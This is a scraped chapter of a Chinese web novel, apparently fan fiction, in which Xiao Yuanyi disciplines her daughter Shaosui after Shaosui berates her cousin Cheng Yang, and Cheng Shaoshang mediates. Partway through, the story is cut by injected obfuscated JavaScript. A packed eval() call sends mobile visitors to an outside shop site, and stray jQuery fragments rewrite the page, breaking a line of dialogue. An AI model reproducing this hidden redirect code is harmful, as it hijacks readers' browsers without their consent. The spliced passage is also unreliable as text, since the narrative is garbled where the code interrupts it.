文趣网 > 其他小说 > 可曾盼君归 > 19. 姊妹生嫌
    晨雾散尽,庭院里花木枝叶沾着晨露,方才母女二人围坐膳桌的融融暖意,被婢女这一通急报骤然打散。

    萧元漪眉峰狠狠一蹙,手中玉箸“当啷”搁在瓷碗边,响声清脆。

    “怎会吵起来。”她话音未落,已经起身,月白锦袍下摆扫过凳沿,脚步匆匆往外走。

    程少商心头也是一紧,连忙紧随其后,二人快步穿过回廊,往西侧花圃赶去。还未走近花圃月洞门,便已经听见少女清亮又带着几分怒意的嗓音,声声咄咄往外飘。

    二人脚步放轻,立在月洞门边,抬眼便将院中景象尽收眼底。

    哪里如婢女口中那般已然扭打拉扯。

    花圃青石地坪之上,只有程少绥站在那里,胸口微微起伏,一张小脸涨得通红。对面立着的程姎垂着双肩,双手局促攥着腰间绦带,眼帘垂得极低,眼眶泛红,眼尾已经浸满水光,泪珠在眼眶里打转转,眼看着就要滚落下来。

    只听少绥拔高了声调,半点不留情面:“程姎阿姊,你便是这般胆小怕事,遇事只会畏畏缩缩!实在太不仗义!也就阿母会喜欢你这一副温顺怯懦的性子,依我看,你没有朋友一点都不怪旁人,换做是谁,又心甘情愿同你这般缩头缩脑的人做朋友!”

    字字句句,锋利扎人。

    程姎肩头微微颤了颤,嘴唇翕动,声音细若蚊蚋,弱弱回了一句:“我……我没有。”

    便是这样一句,再无多余辩驳。

    前来报信的婢女立在廊下,满心惦记自家女郎,方才远远望见,心中焦急,便慌慌张张跑回去求救,将场面说得格外凶险。可实际上,从头到尾,都只是少绥一腔怒火倾泻,程姎连还嘴都做不到。

    “少绥!你放肆!”

    萧元漪一见这一幕,怒火瞬间直冲头顶。

    她素来便心疼寄居于侯府的程姎,最怕这孩子在府中受自家儿女的为难委屈。更何况论辈分,程姎乃是少绥的阿姊,做妹妹的怎敢这般当众厉声训斥长姊,口出刻薄言语。

    萧元漪几步跨步上前,伸手一把攥住少绥的胳膊,力道不轻,直接将人拽到身前,另一只手高高扬起,掌心带着风声,眼看就要一巴掌落下去。

    “阿母且慢!”

    程少商见状急忙抢上一步,伸手拦在二人中间,稳稳架住萧元漪扬起的手腕。

    “我们方才才赶到,只听见只言片语,尚未问清前因后果,这般便直接责罚,对少绥并不公平。”

    萧元漪手腕被拦住,胸口剧烈起伏,一腔火气憋在胸中,目光沉沉瞪着被攥住胳膊的少绥。

    少绥猝不及防被阿母拽住,又看见程姎那双通红湿润的眼睛,心里依旧憋着一股闷气,撇了撇嘴:“就知道告状……”

    “你也少说两句!”程少商飞快侧头瞪了少绥一眼,生怕她再口无遮拦,彻底点燃萧元漪的怒火。

    萧元漪狠狠剜了少绥一眼,强压下动手的念头,手腕从少商掌中抽回,冷声丢下一句:“都去九骓堂。”

    说罢,转身便往正堂方向行去,衣袂猎猎,满是怒意。

    程少绥胳膊被攥得生疼,满心不服气,却也不敢违抗。程姎垂着头,悄悄拭去眼角将坠未坠的泪珠,亦跟了上去。一行人鱼贯踏入肃穆的九骓堂,堂内烛火高照,家法依旧高悬于壁。

    萧元漪在主位落座,面色冷得像结了寒霜。目光先落在垂首耷脑的程少绥身上,少绥感受到那道凌厉视线,慌忙把头埋得低低的,脚尖不安地蹭着脚下青石板。

    随即,萧元漪神色稍缓,看向立在一旁的程姎,语气温和不少:“姎姎,你只管说,究竟发生何事,不必有所顾忌。”

    程少商站在侧边,眉头微微蹙起,静静等候。

    程姎指尖绞着衣摆,声音断断续续,带着未散尽的委屈:“今日清晨,我本想出府走走,尚未走出府门,远远便望见少绥,还有王姈、楼缡几位女郎立在花圃那边,看模样像是起了争执。我便走上前去,我刚一靠近,王姈就唤我过去,追问我方才是谁率先挑起事端,这件过错该归到谁的身上。我……我并不知晓前因,只能如实回话……”

    “你是不敢得罪她们!”少绥猛地抬眼,瞪向程姎。

    “放肆!”

    萧元漪一掌重重拍在桌案上,杯盏微微震颤,发出轻响。“给我跪下!”少绥浑身一哆嗦,方才那股冲劲瞬间泄了大半,不敢再多言语,乖乖屈膝跪倒在冰凉的石板之上。

    萧元漪压下怒火,看向程姎,示意她继续讲下去。

    程姎抿了抿唇,接着说道:“我说我并不知晓始末之后,王姈她们便出言取笑少绥。少绥便动了火气,之后便是阿母方才见到的那一幕。想来……也是我的不是,我没能站出来护着少绥。”

    “与你无关。”萧元漪直接出声打断,目光锐利,“是少绥无故迁怒于你,目无尊长,口出狂言,过错全在她身上。来人——”

    “阿母。”程少商跨步上前,出声打断。

    萧元漪话音顿住,抬眼望向她。

    “阿母既然有心问话,听过程姎阿姊的说辞,何不也听一听少绥的说法。只听一面之词便定夺是非,未免有所不妥。”

    萧元漪胸中火气翻涌,本欲发作,目光撞进程少商那双倔强执拗的眼眸。这几日母女之间几番拉扯,终究是激起了心中的悔意,眼下不愿再同她硬碰硬争执。

    她闭了闭眼,压下翻涌的情绪,转头看向跪在地上的少绥,语气沉冷:“好,那便让你说。”

    程少绥满脸错愕,偷偷抬眼瞥了一眼程少商,心底暗自诧异:方才那般顶撞阿母,居然没有挨训?

    程少商微微朝她递去眼神,示意她据实好好回话。

    少绥定了定神,梗着脖子开口:“本就是楼缡先行出言寻衅,王姈在一旁处处偏袒楼缡,我是被逼得才同她们争辩。程姎阿姊明明就在近旁,却半句都不肯替我分辨,只做缩头乌龟。”

    “我是真的没有看见……。”程姎在一旁小声辩解。

    萧元漪听得怒火复燃,厉声呵斥:“你同外人口舌相争便也罢了,反倒逼迫自家阿姊说谎护你。你阿姊不过据实回话,便要被你这般恶语指责,如此蛮横,你可知错

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926473|213544||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”

    少绥心中依旧万般不服,却也不敢再硬着头皮辩驳,满腔委屈堵在心口,鼻尖一酸,眼泪大颗大颗滚落下来,低声啜泣。

    “你还有脸哭!”萧元漪眉头拧得更紧。

    “少绥。”程少商快步走到她身侧,语声清明,“我问你,程姎阿姊,是在你和楼缡起争执之初便站在那里,还是待到王姈开口嘲讽你的时候,才走过来的?”

    少绥哭得肩膀一抽一抽,抹了一把脸上泪水,含糊道:“我……我不知道,她是从我的身后出现的。”

    “你连她何时到场都未曾看清。”萧元漪气得胸口起伏,“仅凭一腔怒火,便认定她冷眼旁观。我竟是教出你这般刻薄的女儿!”

    “倒也算不上刻薄。”程少商从容开口,“只是一场误会罢了。少绥,你并未亲眼看见程姎阿姊目睹全部经过,便笃定她明明看见却故意闭口不言,冤枉了阿姊,这件事,你认不认?”

    少绥垂着头,眼泪砸在青石砖上,闷闷出声:“……是我错了。”

    “再者。”程少商语声一顿,目光转向主位上的萧元漪,字字清晰,“程姎阿姊本就没有义务一定要站出来护着少绥。遇事帮或者不帮,皆是她自己的选择,旁人没有资格去苛责。”

    萧元漪:“?”

    她眉梢猛地一跳,内心暗自腹诽:怎么说着说着,又拐到我头上来了?合着又是在暗指我当年做出抛下少商的选择?

    跪在地上的少绥吸了吸通红的鼻子,低声应道:“我知道了。”

    “既然知错,还不快向程姎阿姊赔礼道歉。”程少商沉声提醒。

    少绥抬起泪痕交错的脸,对着程姎,身子微微伏低,声音带着哭后的沙哑:“阿姊,方才是我失了分寸,口出恶言,冤枉了你。”

    程少商转头看向萧元漪:“阿母,此事少绥行事鲁莽,过错确凿。说来也是我,没有看好她,才叫她闯下这般祸事。”

    萧元漪内心暗暗叹气:合着是我拉着你说话,耽误你看孩子了。

    她压下心底念头,转头看向立在一旁的程姎,神色柔和:“姎姎,少绥已经认错。你心里若是不肯原谅,也是理所应当,不必勉强自己。”

    程姎轻轻摇了摇头:“大伯母,我不怪少绥,我愿意原谅她。”

    “果然姎姎最是大度体贴。”萧元漪淡淡夸赞一句。

    余光瞥见程少商正盯着自己,她微微别开视线,不去接那道目光,再看向跪在地上的少绥,语气复归严肃:“既然姎姎大度饶过你,那便罚你,在此跪满一个时辰,回去之后,写一篇自省的文书,晚间交至我处。若是行文敷衍潦草,家法重责,听清楚没有。”

    少绥用袖子胡乱擦了擦脸上泪痕,低声应道:“女儿领罚。”

    萧元漪能感觉到,方才程少商投向自己那道暗含商榷的冷意,此刻已然淡去不少,竟不自觉松了一口气。

    她挥了挥手:“其余人,都散了吧。”

    九骓堂之内,只余下孤零零跪在青砖地上的程少绥,烛火摇曳,将她单薄的影子铺在冰冷的地面。